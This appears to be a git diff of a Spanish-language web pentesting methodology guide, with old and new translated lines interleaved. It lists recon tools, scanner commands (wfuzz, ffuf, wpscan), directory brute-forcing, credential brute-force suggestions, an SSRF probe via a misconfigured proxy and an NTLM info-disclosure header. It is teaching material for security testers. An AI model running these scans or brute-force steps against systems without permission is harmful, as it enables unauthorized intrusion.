Algunos **tricks** para **finding vulnerabilities** en diferentes bien conocidas **technologies** que se están usando:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -101,26 +101,25 @@ Algunos **trucos** para **encontrar vulnerabilidades** en distintas **tecnologí
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Ten en cuenta que el **mismo dominio** puede usar **diferentes tecnologías** en distintos **puertos**, **carpetas** y **subdominios**._\
|
||||
Si la aplicación web está usando alguna **tecnología/plataforma** conocida listada anteriormente o cualquier otra, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!).
|
||||
_Ten en cuenta que el **mismo dominio** puede estar usando **diferentes technologies** en distintos **puertos**, **carpetas** y **subdominios**._\
|
||||
Si la web application está usando alguna well known **tech/platform listed before** o **any other**, no olvides **search on the Internet** nuevos tricks (¡y avísame!).
|
||||
|
||||
### Revisión de código fuente
|
||||
|
||||
Si el **source code** de la aplicación está disponible en **github**, además de realizar por tu cuenta una prueba White box de la aplicación, hay **alguna información** que podría ser **útil** para la actual prueba Black-Box:
|
||||
|
||||
- ¿Existe un **Change-log o Readme o Version** o algo con **info de versión accesible** vía web?
|
||||
- ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún (¿accesible?) **archivo** con credenciales (nombres de usuario o contraseñas)?
|
||||
- ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hashing** se usa?
|
||||
- ¿Se usa alguna **master key** para encriptar algo? ¿Qué **algoritmo** se utiliza?
|
||||
- ¿Puedes **acceder a alguno de estos archivos** explotando alguna vulnerabilidad?
|
||||
- ¿Hay alguna **información interesante en github** (issues resueltas y no resueltas)? ¿O en el **historial de commits** (quizá alguna **contraseña** introducida en un commit antiguo)?
|
||||
Si el **source code** de la aplicación está disponible en **github**, además de realizar por **tu cuenta un White box test** de la aplicación, hay **algunas informaciones** que podrían ser **útiles** para la actual **Black-Box testing**:
|
||||
|
||||
- ¿Existe un **Change-log or Readme or Version** file o cualquier cosa con **version info accessible** vía web?
|
||||
- ¿Cómo y dónde se guardan las **credentials**? ¿Hay algún (¿accessible?) **file** con credentials (usernames o passwords)?
|
||||
- ¿Los passwords están en **plain text**, **encrypted** o qué **hashing algorithm** se usa?
|
||||
- ¿Está usando alguna **master key** para cifrar algo? ¿Qué **algorithm** se usa?
|
||||
- ¿Puedes acceder a alguno de estos files explotando alguna vulnerabilidad?
|
||||
- ¿Hay alguna información interesante en los **github** issues (resueltos o no)? ¿O en el **commit history** (quizá algún password introducido en un commit antiguo)?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Escáneres automáticos
|
||||
### Automatic scanners
|
||||
|
||||
#### Escáneres automáticos de propósito general
|
||||
```bash
|
||||
@ -136,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
```
|
||||
#### Escáneres de CMS
|
||||
|
||||
Si se usa un CMS no olvides **ejecutar un scanner**, puede que se encuentre algo jugoso:
|
||||
Si se utiliza un CMS no olvides **ejecutar un escáner**, quizá encuentres algo jugoso:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web en busca de problemas de seguridad. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web para detectar problemas de seguridad. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -149,13 +148,13 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> En este punto ya deberías tener algo de información sobre el servidor web que usa el cliente (si se ha proporcionado algún dato) y algunos trucos para tener en cuenta durante la prueba. Si tienes suerte, incluso habrás encontrado un CMS y ejecutado algún escáner.
|
||||
> En este punto ya deberías tener algo de información sobre el servidor web utilizado por el cliente (si se proporcionó algún dato) y algunos trucos para tener en cuenta durante la prueba. Si tienes suerte, incluso has encontrado un CMS y ejecutado algún scanner.
|
||||
|
||||
## Descubrimiento paso a paso de la aplicación web
|
||||
|
||||
> A partir de este punto vamos a empezar a interactuar con la aplicación web.
|
||||
|
||||
### Comprobaciones iniciales
|
||||
### Verificaciones iniciales
|
||||
|
||||
**Páginas por defecto con información interesante:**
|
||||
|
||||
@ -164,28 +163,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Revisa también los comentarios en las páginas principales y secundarias.
|
||||
- Check also comments in the main and secondary pages.
|
||||
|
||||
**Provocar errores**
|
||||
**Forzar errores**
|
||||
|
||||
Los servidores web pueden **comportarse de forma inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **filtrar información sensible**.
|
||||
Los servidores web pueden **comportarse de forma inesperada** cuando se les envía datos extraños. Esto puede abrir **vulnerabilidades** o **divulgar información sensible**.
|
||||
|
||||
- Accede a **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Agrega "\[]", "]]", and "\[\["** en **valores de cookie** y **valores de parámetros** para crear errores
|
||||
- Genera un error dando la entrada como **`/~randomthing/%s`** al **final** de la **URL**
|
||||
- Prueba **diferentes HTTP Verbs** como PATCH, DEBUG o incorrectos como FAKE
|
||||
- **Agrega "\[]", "]]", and "\[\["** en **cookie values** y **parameter** values para crear errores
|
||||
- Genera un error dando como input **`/~randomthing/%s`** al **final** de la **URL**
|
||||
- Prueba **different HTTP Verbs** como PATCH, DEBUG o inválidos como FAKE
|
||||
|
||||
#### **Comprueba si puedes subir archivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Si encuentras que **WebDav** está **habilitado** pero no tienes suficientes permisos para **subir archivos** en la carpeta raíz intenta:
|
||||
Si descubres que **WebDav** está **habilitado** pero no tienes permisos suficientes para **uploading files** en la carpeta raíz intenta:
|
||||
|
||||
- **Brute Force** credentials
|
||||
- **Sube archivos** vía WebDav al **resto** de **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
|
||||
- **Brute Force** credenciales
|
||||
- **Upload files** vía WebDav al **rest** de los **found folders** dentro de la página web. Puede que tengas permisos para **upload files** en otras carpetas.
|
||||
|
||||
### **SSL/TLS vulnerabilidades**
|
||||
### **Vulnerabilidades SSL/TLS**
|
||||
|
||||
- Si la aplicación **no obliga al uso de HTTPS** en ninguna parte, entonces es **vulnerable a MitM**
|
||||
- Si la aplicación está **enviando datos sensibles (contraseñas) usando HTTP**. Entonces es una vulnerabilidad grave.
|
||||
- Si la aplicación **no está forzando el uso de HTTPS** en ninguna parte, entonces es **vulnerable a MitM**
|
||||
- Si la aplicación está **enviando datos sensibles (contraseñas) usando HTTP**. Entonces es una vulnerabilidad alta.
|
||||
|
||||
Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para comprobar **vulnerabilidades** (En Bug Bounty programs probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv** ](https://github.com/hahwul/a2sv) para volver a comprobar las vulnerabilidades:
|
||||
```bash
|
||||
@ -196,60 +195,60 @@ Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para comprobar **vu
|
||||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Information about SSL/TLS vulnerabilities:
|
||||
Información sobre vulnerabilidades de SSL/TLS:
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
Lanza algún tipo de **spider** dentro del sitio. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** de la aplicación probada. Por lo tanto, se debe usar web crawling y fuentes externas para encontrar la mayor cantidad de rutas válidas posible.
|
||||
Lanza algún tipo de **spider** dentro del sitio web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** de la aplicación probada. Por lo tanto, se debe usar web crawling y fuentes externas para encontrar tantas rutas válidas como sea posible.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, con LinkFider para archivos JS y Archive.org como fuente externa.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, también indica "juicy files".
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, además indica "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactivo HTML spider. También busca en Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider pero puede ser útil. Puedes indicar un archivo con hosts y un archivo con paths y meg hará fetch de cada path en cada host y guardará la respuesta.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacidades de renderizado JS. Sin embargo, parece no estar mantenida, la versión precompilada es antigua y el código actual no compila.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider que usa proveedores externos (wayback, otx, commoncrawl)
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacidades de renderizado JS. Sin embargo, parece no mantenerse, la versión precompilada es antigua y el código actual no compila.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider que usa proveedores externos (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider con capacidades de renderizado JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, con capacidades de JS beautify capaz de buscar nuevas rutas en archivos JS. También puede valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un wrapper de LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto del source HTML como de archivos javascript embebidos. Útil para bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script en python 2.7 usando Tornado y JSBeautifier para parsear URLs relativas desde archivos JavaScript. Útil para descubrir fácilmente peticiones AJAX. Parece no estar mantenido.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs usando una expresión regular ingeniosa para encontrar y extraer URLs relativas de archivos feos (minificados).
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Recolecta información interesante de archivos JS usando varias herramientas.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el source HTML como en archivos javascript embebidos. Útil para bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script en python 2.7 que usa Tornado y JSBeautifier para parsear URLs relativas desde archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece no mantenerse.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs usando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos minificados.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Recopila información interesante de archivos JS usando varias herramientas.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Encuentra archivos JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador headless e imprime todas las urls cargadas para renderizar la página.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de discovery de contenido que mezcla varias opciones de las herramientas anteriores
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de descubrimiento de contenido que mezcla varias opciones de las herramientas anteriores.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar paths y params en archivos JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL de .js.map te conseguirá el código JS beautified
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Herramienta usada para descubrir endpoints para un target dado.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre links desde the wayback machine (también descarga las respuestas en el wayback y busca más links)
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (incluso rellenando formularios) y también busca info sensible usando regex específicas.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado crawler/spider GUI multi-feature diseñado para profesionales de ciberseguridad.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un package en Go y [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, paths, secretos y otros datos interesantes del código fuente JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **Burp Suite extension** para **extraer los parámetros y endpoints** de las requests y crear wordlists personalizadas para fuzzing y enumeración.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dada la URL .js.map te devolverá el código JS beautyfied.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Herramienta para descubrir endpoints para un objetivo dado.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre links desde la wayback machine (también descarga las respuestas en la wayback y busca más links).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (incluso rellenando forms) y también encuentra info sensible usando regexes específicas.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un crawler/spider GUI multi-feature avanzado diseñado para profesionales de ciberseguridad.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un package Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, paths, secrets y otros datos interesantes del código fuente JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **Burp Suite extension** para **extraer los parámetros y endpoints** de las requests para crear wordlists personalizadas para fuzzing y enumeración.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Excelente herramienta para esto.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime cada link que pueda encontrar.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime cada link que es capaz de encontrar.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
|
||||
Tools:
|
||||
Comienza el **brute-forcing** desde la carpeta raíz y asegúrate de brute-force **todas** las **rutas encontradas** usando **este método** y todas las rutas **descubiertas** por el **Spidering** (puedes hacer este brute-forcing **recursivamente** y añadir al inicio de la wordlist usada los nombres de los directorios encontrados).\
|
||||
Herramientas:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
|
||||
- **Dirb** / **Dirbuster** - Incluido en Kali, **old** (y **slow**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento comparado con otras opciones.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: No permite certificados auto-firmados pero** permite búsqueda recursiva.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados auto-firmados, no tiene búsqueda **recursiva**.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): No es un spider pero es una herramienta que, dada la lista de URLs encontradas, eliminará las URLs "duplicadas".
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension para crear una lista de directorios a partir del histórico de Burp de diferentes páginas.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Elimina URLs con funcionalidades duplicadas (basado en imports JS).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologías usadas y seleccionar las wordlists a usar.
|
||||
|
||||
**Recommended dictionaries:**
|
||||
**Diccionarios recomendados:**
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
@ -268,41 +267,41 @@ Tools:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
|
||||
_Ten en cuenta que cada vez que se descubra un nuevo directorio durante el brute-forcing o el spidering, debe ser Brute-Forced._
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTMLs que pueden ser susceptibles a takeover.
|
||||
- **File Backups**: Una vez que hayas encontrado todos los archivos, busca backups de todos los ficheros ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar backups son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encontrar enlaces rotos dentro de HTMLs que pueden ser propensos a takeovers.
|
||||
- **File Backups**: Una vez que has encontrado todos los archivos, busca backups de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar un backup son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, intenta buscar** parámetros ocultos en cada archivo web ejecutable.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comments:** Revisa los comentarios de todos los archivos; puedes encontrar **credentials** o **funcionalidad oculta**.
|
||||
- Si estás jugando en **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **centenares** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias líneas nuevas** y **ocultar información** en un comentario al **final** de la página web.
|
||||
- **Comments:** Revisa los comentarios de todos los archivos, puedes encontrar **credentials** u **ocultas funcionalidades**.
|
||||
- Si estás jugando en **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el source con el navegador). Otra posibilidad es usar **varias líneas nuevas** y **ocultar información** en un comentario al **final** de la página web.
|
||||
- **API keys**: Si **encuentras alguna API key** hay proyectos que indican cómo usar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Si encuentras una API key que empiece por **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para comprobar qué APIs puede consumir la key.
|
||||
- **S3 Buckets**: Mientras haces spidering busca si algún **subdomain** o algún **link** está relacionado con algún **S3 bucket**. En ese caso, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
- Google API keys: Si encuentras una API key que empiece por **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para comprobar qué apis puede acceder la key.
|
||||
- **S3 Buckets**: Mientras haces spidering busca si algún **subdomain** o algún **link** está relacionado con algún **S3 bucket**. En ese caso, [**revisa** los **permisos** del bucket](buckets/index.html).
|
||||
|
||||
### Special findings
|
||||
|
||||
**Mientras** realizas el **spidering** y el **brute-forcing** podrías encontrar **cosas interesantes** que debes **tener en cuenta**.
|
||||
**Mientras** realizas el **spidering** y el **brute-forcing** podrías encontrar **cosas** **interesantes** que debes **anotar**.
|
||||
|
||||
**Archivos interesantes**
|
||||
|
||||
- Busca **links** a otros ficheros dentro de los archivos **CSS**.
|
||||
- Busca **links** a otros archivos dentro de los **CSS**.
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- Si encuentras un _**.env**_ se pueden encontrar información como api keys, passwords de bases de datos y otra información.
|
||||
- Si encuentras **API endpoints** deberías [also test them](web-api-pentesting.md). Estos no son archivos, pero probablemente "se verán" como tales.
|
||||
- **JS files**: En la sección de spidering se mencionaron varias herramientas que pueden extraer paths de archivos JS. También sería interesante **monitorizar cada archivo JS encontrado**, ya que en algunas ocasiones un cambio puede indicar que se ha introducido una vulnerabilidad potencial en el código. Puedes usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Si encuentras un _**.env**_ se pueden encontrar información como api keys, contraseñas de dbs y otros datos.
|
||||
- Si encuentras **API endpoints** también [deberías probarlos](web-api-pentesting.md). No son archivos, pero probablemente "se verán" como tal.
|
||||
- **JS files**: En la sección de spidering se mencionaron varias herramientas que pueden extraer paths de archivos JS. También sería interesante **monitorizar cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se ha introducido una vulnerabilidad en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- También deberías comprobar los JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para ver si son vulnerables.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- **JsFuck deobfuscation** (javascript con caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- En varias ocasiones necesitarás **entender las expresiones regulares** usadas. Esto te será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- También podrías **monitorizar los archivos donde se detectaron formularios**, ya que un cambio en los parámetros o la aparición de un nuevo formulario puede indicar una funcionalidad potencialmente vulnerable.
|
||||
- En varias ocasiones necesitarás **entender las expresiones regulares** usadas. Esto será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- También podrías **monitorizar los archivos donde se detectaron forms**, ya que un cambio en el parámetro o la aparición de un nuevo form puede indicar una nueva funcionalidad potencialmente vulnerable.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -313,28 +312,28 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. **Si envías una petición HTTP como: `GET https://google.com HTTP/1.1`** (con el header Host y otros headers comunes), el **proxy** intentará **acceder** a _**google.com**_ **y habrás encontrado un** SSRF.
|
||||
Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. **Si envías una petición HTTP como: `GET https://google.com HTTP/1.1`** (con el header host y otros headers comunes), el **proxy** intentará **acceder** a _**google.com**_ **y habrás encontrado un** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Si el servidor que solicita autenticación es **Windows** o encuentras un login que pide tus **credenciales** (y pide **nombre** de **dominio**), puedes provocar una **divulgación de información**.\
|
||||
**Envía** el **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del header "WWW-Authenticate".\
|
||||
Puedes **automatizar** esto usando el **nmap plugin** "_http-ntlm-info.nse_".
|
||||
Si el servidor que solicita autenticación es **Windows** o encuentras un login solicitando tus **credentials** (y pidiendo el **domain** **name**), puedes provocar una **info disclosure**.\
|
||||
**Envía** el **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **NTLM authentication**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del header "WWW-Authenticate".\
|
||||
Puedes **automatizar** esto usando el plugin de **nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Es posible **poner contenido** dentro de una **Redirección**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** allí.
|
||||
Es posible **colocar contenido** dentro de una **Redirection**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** ahí.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
|
||||
